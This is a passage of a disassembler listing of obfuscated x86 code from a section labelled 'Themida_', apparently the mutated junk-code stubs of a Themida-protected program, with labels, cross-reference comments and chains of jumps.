		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_563C4A
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55FB72
; ---------------------------------------------------------------------------


loc_56BCAD:				; CODE XREF: Themida_:0056190Fj
		push	ebp
		jmp	loc_57118F
; ---------------------------------------------------------------------------


loc_56BCB3:				; CODE XREF: Themida_:0056DC69j
		push	2CFB2D2Bh
		mov	eax, [esp]
		add	esp, 4
		push	edi
		jmp	loc_570BA2
; ---------------------------------------------------------------------------


loc_56BCC4:				; CODE XREF: Themida_:00567DF2j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_56997B
; ---------------------------------------------------------------------------


loc_56BCD3:				; CODE XREF: Themida_:005602A0j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		xchg	ecx, [esp]
		jmp	loc_55FAB0
; ---------------------------------------------------------------------------


loc_56BCE4:				; CODE XREF: Themida_:0056E684j
		pop	ebp
		add	ebx, 3D6E667Bh
		jmp	loc_564934
; ---------------------------------------------------------------------------


loc_56BCF0:				; CODE XREF: Themida_:0056F282j
		mov	eax, ebx
		pop	ebx
		not	eax
		push	ebx
		mov	ebx, 40B45E12h
		xor	ebx, 23BE6DA7h
		xor	ebx, 0D506AC40h
		xor	eax, ebx
		pop	ebx
		mov	ebp, eax
		pop	eax
		add	eax, ebp
		mov	ebp, [esp]
		jmp	loc_560CBA
; ---------------------------------------------------------------------------


loc_56BD17:				; CODE XREF: Themida_:0056C744j
		neg	esi
		inc	esi
		sub	esi, 0B61CEBD3h
		mov	eax, esi
		jmp	loc_56D521
; ---------------------------------------------------------------------------


loc_56BD27:				; CODE XREF: Themida_:0055F63Fj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		push	704Dh
		mov	[esp], eax
		mov	eax, 4
		add	edi, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_56EC69
; ---------------------------------------------------------------------------


loc_56BD53:				; CODE XREF: Themida_:0056F213j
		add	ebx, 22597616h
		jmp	loc_56686E
; ---------------------------------------------------------------------------


loc_56BD5E:				; CODE XREF: Themida_:0056B7E8j
		add	ebp, esi
		pop	esi
		sub	esp, 4
		jmp	loc_55FE9E
; ---------------------------------------------------------------------------


loc_56BD6C:				; CODE XREF: Themida_:005623AFj
		sub	al, 1
		add	al, 20h
		jmp	loc_5646BE
; ---------------------------------------------------------------------------


loc_56BD75:				; CODE XREF: Themida_:0056B457j
		add	ch, bl
		pop	bx
		sub	ch, 97h
		mov	dl, ch
		jmp	loc_567735
; ---------------------------------------------------------------------------


loc_56BD83:				; CODE XREF: Themida_:00564E17j
		pop	edi
		shr	ecx, 4
		push	edx
		push	ecx
		mov	ecx, 3C9B381Ah
		add	ecx, 50741358h
		push	edi
		mov	edi, 59E20D9Ch
		dec	edi
		and	edi, 435016A3h
		shl	edi, 4
		sub	edi, 2634CCF7h
		xor	ecx, edi
		mov	edi, [esp]
		jmp	loc_56C4EA
; ---------------------------------------------------------------------------


loc_56BDB4:				; CODE XREF: Themida_:0056A209j
		mov	[esp], ebx
		push	624932EFh
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 1
		xor	ebx, 4F3D717Bh
		push	ebx
		sub	dword ptr [esp], 43FA39BDh
		jmp	loc_566D2E
; ---------------------------------------------------------------------------


loc_56BDDE:				; CODE XREF: Themida_:00570DEEj
		pop	esi
		shr	edi, 3
		add	edi, 405C0060h
		add	edi, 0C75688EFh
		sub	ebx, edi
		mov	edi, [esp]
		push	3339h
		mov	[esp], esi
		mov	esi, esp
		push	eax
		mov	eax, 46A7692h
		not	eax
		push	ebx
		jmp	loc_5611D6
; ---------------------------------------------------------------------------


loc_56BE0B:				; CODE XREF: Themida_:005674EBj
		xchg	ebx, [esp]
		mov	esp, [esp]
		div	cl
		jmp	loc_560A2B
; ---------------------------------------------------------------------------


loc_56BE18:				; CODE XREF: Themida_:00566AFAj
		mov	eax, esp
		jmp	loc_56D183
; ---------------------------------------------------------------------------


loc_56BE1F:				; CODE XREF: Themida_:00568B51j
		mov	eax, esp
		push	ebx
		mov	ebx, 155A027Ch
		sub	ebx, 155A0278h
		sub	eax, 1B2225A1h
		jmp	loc_560568
; ---------------------------------------------------------------------------


loc_56BE37:				; CODE XREF: Themida_:0056E1E3j
		sub	al, 71h
		add	al, cl
		add	al, 71h
		pop	ecx
		push	ecx
		mov	cl, 0FCh
		jmp	loc_56FAE2
; ---------------------------------------------------------------------------


loc_56BE46:				; CODE XREF: Themida_:005680E5j
		pop	edi
		pop	eax
		xchg	eax, edx
		jmp	loc_56EA62
; ---------------------------------------------------------------------------


loc_56BE4E:				; CODE XREF: Themida_:005629FFj
		sub	esi, 619E3C7Fh
		pop	eax
		push	edx
		push	edi
		jmp	loc_570E07
; ---------------------------------------------------------------------------


loc_56BE5C:				; CODE XREF: Themida_:0056081Bj
		push	esi
		push	ecx
		pop	esi
		pop	ecx
		xchg	ebp, ecx
		not	ebp
		xchg	ebp, ecx
		xor	esi, ecx
		xor	ecx, esi
		jmp	loc_5678FA
; ---------------------------------------------------------------------------


loc_56BE6F:				; CODE XREF: Themida_:00560469j
		pop	ecx
		jmp	loc_56EE37
; ---------------------------------------------------------------------------


loc_56BE75:				; CODE XREF: Themida_:00560747j
		neg	ch
		xchg	ch, bh
		add	bh, 0D7h
		add	ch, bh
		pop	ebx
		sub	al, ch
		jmp	loc_56EC45
; ---------------------------------------------------------------------------


loc_56BE86:				; CODE XREF: Themida_:0056213Cj
		add	eax, 4
		push	esi
		jmp	loc_561D45
; ---------------------------------------------------------------------------


loc_56BE91:				; CODE XREF: Themida_:00566848j
		mov	ecx, 2C951E65h
		shl	ecx, 1
		push	edi
		push	eax
		mov	eax, 2BC26E56h
		push	ebp
		mov	ebp, 9FA55F1h
		sub	eax, ebp
		pop	ebp
		shr	eax, 2
		xor	eax, 8623672h
		jmp	loc_563E6C
; ---------------------------------------------------------------------------


loc_56BEB5:				; CODE XREF: Themida_:005659D6j
		push	59FAh
		mov	[esp], ebp
		push	375Bh
		mov	[esp], ecx
		pop	ebp
		push	4901h
		mov	[esp], eax
		jmp	loc_56A91F
; ---------------------------------------------------------------------------


loc_56BED3:				; CODE XREF: Themida_:00567730j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_568881
; ---------------------------------------------------------------------------


loc_56BEDE:				; CODE XREF: Themida_:00565953j
		sub	[esp+8], ebp
		sub	dword ptr [esp+8], 53EC6F4Bh
		pop	ebp
		add	[esp+4], edi
		add	dword ptr [esp+4], 794E709Ch
		push	eax
		push	11E55973h
		pop	eax
		sub	dword ptr [esp+8], 6BA87E80h
		add	[esp+8], eax
		add	dword ptr [esp+8], 6BA87E80h
		jmp	loc_5699FA
; ---------------------------------------------------------------------------


loc_56BF17:				; CODE XREF: Themida_:0056C479j
		mov	eax, ebx
		pop	ebx
		add	esi, 17B96A8Ah
		add	esi, eax
		sub	esi, 17B96A8Ah
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_573F96
; ---------------------------------------------------------------------------


loc_56BF36:				; CODE XREF: Themida_:00565F9Cj
		mov	ebp, ecx
		mov	ebx, ebp
		jmp	loc_56D08B
; ---------------------------------------------------------------------------


loc_56BF3F:				; CODE XREF: Themida_:0056E20Aj
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, esp
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		jmp	loc_562CBC
; ---------------------------------------------------------------------------


loc_56BF5D:				; CODE XREF: Themida_:0055F79Bj
		mov	[esp], ebx
		mov	ebx, 77A77149h
		add	ebx, 0B9FE9DCBh
		or	edx, ebx
		pop	ebx
		push	1E2Dh
		mov	[esp], edi
		mov	edi, 643E7947h
		add	edi, 0A3136A9Fh
		push	ecx
		mov	ecx, 60E60FE9h
		not	ecx
		jmp	loc_56B93C
; ---------------------------------------------------------------------------


loc_56BF8E:				; CODE XREF: Themida_:00573AB5j
		sub	esp, 4
		jmp	loc_5695AE
; ---------------------------------------------------------------------------


loc_56BF96:				; CODE XREF: Themida_:00572645j
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		push	2A41h
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	0F5h
		jmp	loc_56EC27
; ---------------------------------------------------------------------------


loc_56BFC9:				; CODE XREF: Themida_:0056851Bj
		and	eax, edi
		pop	edi
		inc	eax
		sub	eax, 0FEB1FF36h
		jmp	loc_5703AC
; ---------------------------------------------------------------------------


loc_56BFD7:				; CODE XREF: Themida_:005606E0j
		shr	eax, 4
		shl	eax, 5
		xor	eax, 5A371EA4h
		sub	esi, 28B7B9Bh
		jmp	loc_56EC84
; ---------------------------------------------------------------------------


loc_56BFED:				; CODE XREF: Themida_:0055F992j
		xor	edi, eax
		pop	eax
		jmp	loc_5724D3
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	71E9h
		jmp	loc_570292
; ---------------------------------------------------------------------------


loc_56C003:				; CODE XREF: Themida_:0056ECA3j
		xchg	eax, edx
		sub	edx, 7C5954F9h
		add	edx, 6FE018D2h
		jmp	loc_569D00
; ---------------------------------------------------------------------------


loc_56C015:				; CODE XREF: Themida_:005647F1j
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		push	dword ptr [esp]
		jmp	loc_5613F8
; ---------------------------------------------------------------------------


loc_56C025:				; CODE XREF: Themida_:00563901j
		push	ecx
		jmp	loc_56C197
; ---------------------------------------------------------------------------


loc_56C02B:				; CODE XREF: Themida_:005737ECj
		sub	al, 1
		jmp	loc_56E5D9
; ---------------------------------------------------------------------------


loc_56C032:				; CODE XREF: Themida_:00573976j
		mov	esp, [esp]
		pop	dword ptr [esp]
		pop	esp
		mov	ax, [esp]
		push	6DF7h
		mov	[esp], ecx
		push	esp
		jmp	loc_5711C1
; ---------------------------------------------------------------------------
		lodsb
		push	small 7AA9h
		mov	[esp], bx
		mov	bh, 7Fh
		jmp	loc_56533F
; ---------------------------------------------------------------------------


loc_56C05B:				; CODE XREF: Themida_:00560E94j
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		push	7FD1h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_56AF73
; ---------------------------------------------------------------------------


loc_56C087:				; CODE XREF: Themida_:005677CCj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_560692
; ---------------------------------------------------------------------------


loc_56C098:				; CODE XREF: Themida_:00563D00j
		sub	eax, ecx
		pop	ecx
		xor	eax, [esp]
		jmp	loc_5675C4
; ---------------------------------------------------------------------------


loc_56C0A3:				; CODE XREF: Themida_:00564A5Ej
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_568DB7
; ---------------------------------------------------------------------------


loc_56C0B4:				; CODE XREF: Themida_:0056CE98j
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_56E038
; ---------------------------------------------------------------------------


loc_56C0BF:				; CODE XREF: Themida_:00566CD0j
		mov	eax, 4
		add	ecx, eax
		pop	eax
		add	ecx, 4
		jmp	loc_567E50
; ---------------------------------------------------------------------------


loc_56C0CF:				; CODE XREF: Themida_:0056D3C7j
		mov	edx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 106A6971h
		push	edx
		mov	edx, 1
		sub	esi, 18A54249h
		jmp	loc_56A058
; ---------------------------------------------------------------------------


loc_56C0EF:				; CODE XREF: Themida_:005724A5j
		xor	eax, 6274749Eh
		xor	[esp+4], eax
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		pop	esi
		push	4002h
		mov	[esp], ebx
		jmp	loc_567A62
; ---------------------------------------------------------------------------


loc_56C122:				; CODE XREF: Themida_:00569A98j
		pop	ax
		jmp	loc_56C1C6
; ---------------------------------------------------------------------------


loc_56C129:				; CODE XREF: Themida_:0056D17Ej
		pop	esp
		jmp	loc_55F8E9
; ---------------------------------------------------------------------------


loc_56C12F:				; CODE XREF: Themida_:005733B2j
		pop	ecx
		sub	ecx, 1985264Eh
		pop	edi
		jmp	loc_5740C1
; ---------------------------------------------------------------------------


loc_56C13C:				; CODE XREF: Themida_:005654CAj
		push	21B9h
		mov	[esp], eax
		mov	eax, 0F68C6E2Dh
		add	esi, 3FAC60CBh
		jmp	loc_56110B
; ---------------------------------------------------------------------------


loc_56C154:				; CODE XREF: Themida_:00569F43j
		mov	[esp], eax
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56C15C:				; CODE XREF: Themida_:00567504j
		push	420Dh
		mov	[esp], ecx
		push	edx
		push	ecx
		mov	cl, al
		jmp	loc_5662B9
; ---------------------------------------------------------------------------


loc_56C16D:				; CODE XREF: Themida_:0056F2CFj
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		push	0DDBh
		jmp	loc_56C5F1
; ---------------------------------------------------------------------------


loc_56C181:				; CODE XREF: Themida_:00572CC0j
		push	4752h
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_569A65
; ---------------------------------------------------------------------------


loc_56C197:				; CODE XREF: Themida_:0056C026j
		mov	ecx, 4
		jmp	loc_5625C6
; ---------------------------------------------------------------------------


loc_56C1A1:				; CODE XREF: Themida_:0056FA86j
		or	edi, 0A66743Fh
		xor	edi, 4C29387Ch
		or	ebx, edi
		pop	edi
		add	ebx, 2373E75h
		dec	ebx
		neg	ebx
		sub	ebx, 6FF4E9B4h
		add	ebp, ebx
		jmp	loc_564052
; ---------------------------------------------------------------------------


loc_56C1C6:				; CODE XREF: Themida_:0056C124j
		sub	bl, cl
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_568564
; ---------------------------------------------------------------------------


loc_56C1DF:				; CODE XREF: Themida_:005651CDj
		pop	ecx
		jmp	loc_56129B
; ---------------------------------------------------------------------------


loc_56C1E5:				; CODE XREF: Themida_:00563E8Ej
		pop	eax
		jmp	loc_566D75
; ---------------------------------------------------------------------------


loc_56C1EB:				; CODE XREF: Themida_:005742FAj
		push	edx
		mov	edx, 65DB0FA2h
		push	eax
		mov	eax, 2F9F031Bh
		jmp	loc_564C1E
; ---------------------------------------------------------------------------


loc_56C1FC:				; CODE XREF: Themida_:0056FCE1j
		push	dword ptr [esp]
		jmp	loc_5629BC
; ---------------------------------------------------------------------------


loc_56C204:				; CODE XREF: Themida_:0056D862j
		push	0A70h
		mov	[esp], edi
		push	40000h
		mov	edi, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	5E66h
		jmp	loc_56F7E8
; ---------------------------------------------------------------------------


loc_56C227:				; CODE XREF: Themida_:0056E624j
		add	edx, 1879A4D1h
		jmp	loc_5738E0
; ---------------------------------------------------------------------------


loc_56C232:				; CODE XREF: Themida_:00568857j
		pop	eax
		push	ebx
		jmp	loc_56239C
; ---------------------------------------------------------------------------


loc_56C239:				; CODE XREF: Themida_:00569F85j
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56C243:				; CODE XREF: Themida_:00563B74j
		shl	edx, 7
		xor	edx, esi
		jmp	loc_56D2A4
; ---------------------------------------------------------------------------


loc_56C24D:				; CODE XREF: Themida_:0055FA9Aj
		pop	ebx
		xor	edx, ecx
		jmp	loc_569C21
; ---------------------------------------------------------------------------


loc_56C255:				; CODE XREF: Themida_:0057172Ej
		add	ecx, 4
		jmp	loc_5672EE
; ---------------------------------------------------------------------------


loc_56C260:				; CODE XREF: Themida_:00572065j
		mov	[esp], eax
		jmp	loc_56D848
; ---------------------------------------------------------------------------


loc_56C268:				; CODE XREF: Themida_:005667CFj
		pop	eax
		xor	al, ch
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_568662
; ---------------------------------------------------------------------------


loc_56C279:				; CODE XREF: Themida_:0056B230j
		pop	bp
		xor	[esp], bx
		xor	bx, [esp]
		xor	[esp], bx
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56C28C:				; CODE XREF: Themida_:00561996j
		xor	edi, [esp]
		jmp	loc_5686B0
; ---------------------------------------------------------------------------


loc_56C294:				; CODE XREF: Themida_:0056C376j
		sub	edx, 39296C72h
		pop	ecx
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		test	cx, ax
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56C2B0:				; CODE XREF: Themida_:0056DC58j
		mov	edi, 7D0A7582h
		and	ebx, edi
		pop	edi
		jmp	loc_566247
; ---------------------------------------------------------------------------


loc_56C2BD:				; CODE XREF: Themida_:00560A7Bj
		mov	[esp], edi
		push	ebx
		mov	ebx, 406547E3h
		push	ebx
		sub	dword ptr [esp], 3314F40h
		pop	edi
		add	edi, 3314F40h
		pop	ebx
		xor	[esp+4], edi
		pop	edi
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		mov	ebx, [esp]
		jmp	loc_565A25
; ---------------------------------------------------------------------------


loc_56C2F1:				; CODE XREF: Themida_:0056F271j
		dec	ebx
		xor	ebx, 67B97A6Ah
		xor	ebx, 36CF4E3Bh
		dec	ebx
		xor	ebx, 2DA63236h
		sub	edi, ebx
		pop	ebx
		add	edi, eax
		add	edi, 6A960912h
		pop	eax
		push	ebx
		push	4
		pop	ebx
		add	edi, ebx
		pop	ebx
		jmp	loc_567327
; ---------------------------------------------------------------------------


loc_56C320:				; CODE XREF: Themida_:00573B5Ej
		mov	edx, ecx
		pop	ecx
		jmp	loc_56AA50
; ---------------------------------------------------------------------------


loc_56C328:				; CODE XREF: Themida_:005651DEj
		mov	esi, 15AD2239h
		add	dword ptr [esp+4], 80655CAh
		add	[esp+4], esi
		sub	dword ptr [esp+4], 80655CAh
		pop	esi
		jmp	loc_567DC6
; ---------------------------------------------------------------------------


loc_56C347:				; CODE XREF: Themida_:0056C45Fj
		mov	edx, [esp]
		add	esp, 4
		sub	ebx, 1EC659D5h
		add	ebx, edi
		add	ebx, 1EC659D5h
		sub	esp, 4
		jmp	loc_5666D7
; ---------------------------------------------------------------------------


loc_56C369:				; CODE XREF: Themida_:00560EB5j
		not	ebp
		xor	ebp, 0BF39F412h
		add	edx, ebp
		pop	ebp
		add	edx, ecx
		jmp	loc_56C294
; ---------------------------------------------------------------------------


loc_56C37B:				; CODE XREF: Themida_:0056DE65j
		add	ebx, 4F55E7B4h
		jmp	loc_5658E9
; ---------------------------------------------------------------------------


loc_56C386:				; CODE XREF: Themida_:005712B0j
		mov	edi, 2CC5859Dh
		sub	ecx, 16F66941h
		sub	ecx, edi
		add	ecx, 16F66941h
		pop	edi
		jmp	loc_56ACEA
; ---------------------------------------------------------------------------


loc_56C39F:				; CODE XREF: Themida_:00573FDFj
		sub	edi, ebp
		add	edi, 11715C9Fh
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5619B6
; ---------------------------------------------------------------------------


loc_56C3B5:				; CODE XREF: Themida_:00562B4Dj
		pop	ecx
		add	esi, edx
		pop	edx
		jmp	loc_5650BE
; ---------------------------------------------------------------------------


loc_56C3BE:				; CODE XREF: Themida_:0056A30Bj
		pop	ebx
		push	edx
		mov	edx, 5A187833h
		sub	ecx, edx
		pop	edx
		jmp	loc_57318C
; ---------------------------------------------------------------------------


loc_56C3CD:				; CODE XREF: Themida_:005700B1j
		add	esi, 0CCB5D298h
		xor	edx, esi
		pop	esi
		jmp	loc_56AF11
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	esi
		mov	esi, esp
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 2AD70339h
		shr	edi, 2
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_56CF54
; ---------------------------------------------------------------------------


loc_56C40A:				; CODE XREF: Themida_:005662B4j
		mov	[esp], edx
		mov	dl, 11h
		sub	esp, 4
		jmp	loc_56BA28
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	edi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_56D701
; ---------------------------------------------------------------------------


loc_56C433:				; CODE XREF: Themida_:0056B227j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		xor	ebx, [esp]
		jmp	loc_56FB3F
; ---------------------------------------------------------------------------


loc_56C442:				; CODE XREF: Themida_:00570DD4j
		shr	dh, 1
		add	dh, 0FDh
		or	dh, 0Fh
		xor	dh, 6Bh
		jmp	loc_56DCA3
; ---------------------------------------------------------------------------


loc_56C452:				; CODE XREF: Themida_:00568B15j
		add	eax, 4
		jmp	loc_560B9E
; ---------------------------------------------------------------------------


loc_56C45C:				; CODE XREF: Themida_:00566366j
		add	ebx, eax
		pop	eax
		jmp	loc_56C347
; ---------------------------------------------------------------------------


loc_56C464:				; CODE XREF: Themida_:0056CF44j
		push	esp
		pop	ebp
		push	esi
		jmp	loc_573B4F
; ---------------------------------------------------------------------------


loc_56C46C:				; CODE XREF: Themida_:0056F4C4j
		push	7296h
		mov	[esp], ebx
		mov	ebx, 2
		jmp	loc_56BF17
; ---------------------------------------------------------------------------


loc_56C47E:				; CODE XREF: Themida_:0056B0D6j
		mov	esp, [esp]
		mov	[esp], ebx
		push	6BD61048h
		jmp	loc_56E805
; ---------------------------------------------------------------------------


loc_56C48E:				; CODE XREF: Themida_:0056A70Fj
		pop	esp
		jmp	loc_56292E
; ---------------------------------------------------------------------------


loc_56C494:				; CODE XREF: Themida_:00570ADAj
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 4
		push	edx
		jmp	loc_568FF3
; ---------------------------------------------------------------------------


loc_56C4A5:				; CODE XREF: Themida_:00570F84j
		pop	eax
		push	1945h
		jmp	loc_561FB7
; ---------------------------------------------------------------------------


loc_56C4B0:				; CODE XREF: Themida_:00568D3Ej
		pop	ecx
		add	ecx, 4
		jmp	loc_56E7D0
; ---------------------------------------------------------------------------


loc_56C4BC:				; CODE XREF: Themida_:00566670j
		mov	[eax], dl
		jmp	loc_56CA89
; ---------------------------------------------------------------------------


loc_56C4C3:				; CODE XREF: Themida_:00564A52j
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_574491
; ---------------------------------------------------------------------------


loc_56C4DA:				; CODE XREF: Themida_:00560E44j
		xor	edi, [esp]
		jmp	loc_565349
; ---------------------------------------------------------------------------


loc_56C4E2:				; CODE XREF: Themida_:00568922j
		xor	[esp], edx
		jmp	loc_5652A4
; ---------------------------------------------------------------------------


loc_56C4EA:				; CODE XREF: Themida_:0056BDAFj
		add	esp, 4
		push	ecx
		sub	dword ptr [esp], 17DA30A7h
		mov	edx, [esp]
		add	esp, 4
		add	edx, 17DA30A7h
		jmp	loc_56CB23
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	74FDh
		mov	[esp], edx
		push	esp
		pop	edx
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		push	27D7h
		mov	[esp], ebx
		push	2
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		push	786Ch
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		add	edi, 4
		jmp	loc_56D3A6
; ---------------------------------------------------------------------------


loc_56C552:				; CODE XREF: Themida_:0056D28Aj
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		jmp	loc_56AC59
; ---------------------------------------------------------------------------


loc_56C56B:				; CODE XREF: Themida_:005738CDj
		mov	ebx, 30565824h
		dec	ebx
		jmp	loc_567EEB
; ---------------------------------------------------------------------------


loc_56C576:				; CODE XREF: Themida_:00561C1Aj
		sub	edx, 92A6D543h
		mov	ecx, edx
		jmp	loc_56385F
; ---------------------------------------------------------------------------


loc_56C583:				; CODE XREF: Themida_:0056BA91j
		inc	eax
		jmp	loc_568080
; ---------------------------------------------------------------------------


loc_56C589:				; CODE XREF: Themida_:00565E21j
		add	al, ch
		pop	ecx
		sub	al, dh
		jmp	loc_56F16B
; ---------------------------------------------------------------------------


loc_56C593:				; CODE XREF: Themida_:0056EA81j
		push	15FCh
		mov	[esp], ebp
		push	1
		mov	ebp, [esp]
		push	6B4h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5703E1
; ---------------------------------------------------------------------------


loc_56C5B8:				; CODE XREF: Themida_:0056FC28j
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56C5BD:				; CODE XREF: Themida_:00566FC5j
		pop	esp
		mov	[esp], ecx
		mov	ecx, 574E0A28h
		dec	ecx
		jmp	loc_56D4DC
; ---------------------------------------------------------------------------


loc_56C5CC:				; CODE XREF: Themida_:00573DD7j
		mov	dl, cl
		push	2A2Bh
		mov	[esp], ecx
		mov	cl, dl
		mov	bh, cl
		pop	ecx
		pop	edx
		push	ecx
		mov	ch, bh
		jmp	loc_55FED3
; ---------------------------------------------------------------------------


loc_56C5E4:				; CODE XREF: Themida_:00565A38j
		sub	edi, 399B1CAFh
		add	edi, ecx
		jmp	loc_56F6C5
; ---------------------------------------------------------------------------


loc_56C5F1:				; CODE XREF: Themida_:0056C17Cj
		mov	[esp], edi
		jmp	loc_569D15
; ---------------------------------------------------------------------------


loc_56C5F9:				; CODE XREF: Themida_:005655C1j
		mov	ebx, esi
		jmp	loc_56B9F6
; ---------------------------------------------------------------------------


loc_56C600:				; CODE XREF: Themida_:005701E8j
		add	esp, 4
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_56C60B:				; CODE XREF: Themida_:0056509Bj
		add	edi, 53BC1A4Eh
		pop	edx
		jmp	loc_56F858
; ---------------------------------------------------------------------------


loc_56C617:				; CODE XREF: Themida_:005643DEj
		add	esi, 17E3F3Fh
		add	esi, ebx
		sub	esi, 17E3F3Fh
		jmp	loc_56B69C
; ---------------------------------------------------------------------------


loc_56C62A:				; CODE XREF: Themida_:00574742j
		push	bx
		jmp	loc_563F4E
; ---------------------------------------------------------------------------


loc_56C631:				; CODE XREF: Themida_:00561698j
		mov	esp, [esp]
		jmp	loc_5660B7
; ---------------------------------------------------------------------------


loc_56C639:				; CODE XREF: Themida_:00569762j
		add	edi, ebx
		pop	ebx
		jmp	loc_56EB88
; ---------------------------------------------------------------------------


loc_56C641:				; CODE XREF: Themida_:00565101j
		xchg	ecx, [esp]
		jmp	loc_57411B
; ---------------------------------------------------------------------------


loc_56C649:				; CODE XREF: Themida_:005636F2j
		push	esp
		pop	edi
		push	ebx
		mov	ebx, 4
		add	edi, 611120DDh
		jmp	loc_56946D
; ---------------------------------------------------------------------------


loc_56C65C:				; CODE XREF: Themida_:00562DD7j
		mov	edi, 4
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ch, 33h
		neg	ch
		add	ch, 43h
		xor	ch, bh
		xor	bh, ch
		jmp	loc_5683AF
; ---------------------------------------------------------------------------


loc_56C683:				; CODE XREF: Themida_:00569B04j
		pop	esp
		mov	[esp], ebp
		jmp	loc_56D957
; ---------------------------------------------------------------------------


loc_56C68C:				; CODE XREF: Themida_:0056B92Fj
		mov	edx, 4
		jmp	loc_562E44
; ---------------------------------------------------------------------------


loc_56C696:				; CODE XREF: Themida_:0056D671j
		mov	esi, 29723119h
		shr	esi, 5
		push	esi
		push	ebp
		pop	esi
		pop	ebp
		not	ebp
		xchg	ebp, esi
		jmp	loc_564712
; ---------------------------------------------------------------------------


loc_56C6AB:				; CODE XREF: Themida_:00562247j
		mov	eax, [esp]
		jmp	loc_56691E
; ---------------------------------------------------------------------------


loc_56C6B3:				; CODE XREF: Themida_:0056D001j
		shr	ecx, 3
		jmp	loc_571F2D
; ---------------------------------------------------------------------------


loc_56C6BB:				; CODE XREF: Themida_:005619E1j
		pop	esp
		or	[edi+1Ch], edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		push	5402h
		mov	[esp], edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		push	ebp
		jmp	loc_5693BC
; ---------------------------------------------------------------------------


loc_56C6E4:				; CODE XREF: Themida_:0055FF4Fj
		mov	ebx, 47837BC5h
		sub	edi, ebx
		pop	ebx
		xchg	ebx, edi
		not	ebx
		xchg	ebx, edi
		neg	edi
		jmp	loc_56CBC1
; ---------------------------------------------------------------------------


loc_56C6F9:				; CODE XREF: Themida_:00560F5Bj
		mov	ebx, [esp]
		push	edx
		jmp	loc_56ED8F
; ---------------------------------------------------------------------------
		push	small word ptr [edx]
		jmp	loc_55F55C
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	0D80h
		jmp	loc_56B88D
; ---------------------------------------------------------------------------


loc_56C717:				; CODE XREF: Themida_:0056E3E5j
		pop	esi
		push	4CC4h
		jmp	loc_56CB71
; ---------------------------------------------------------------------------


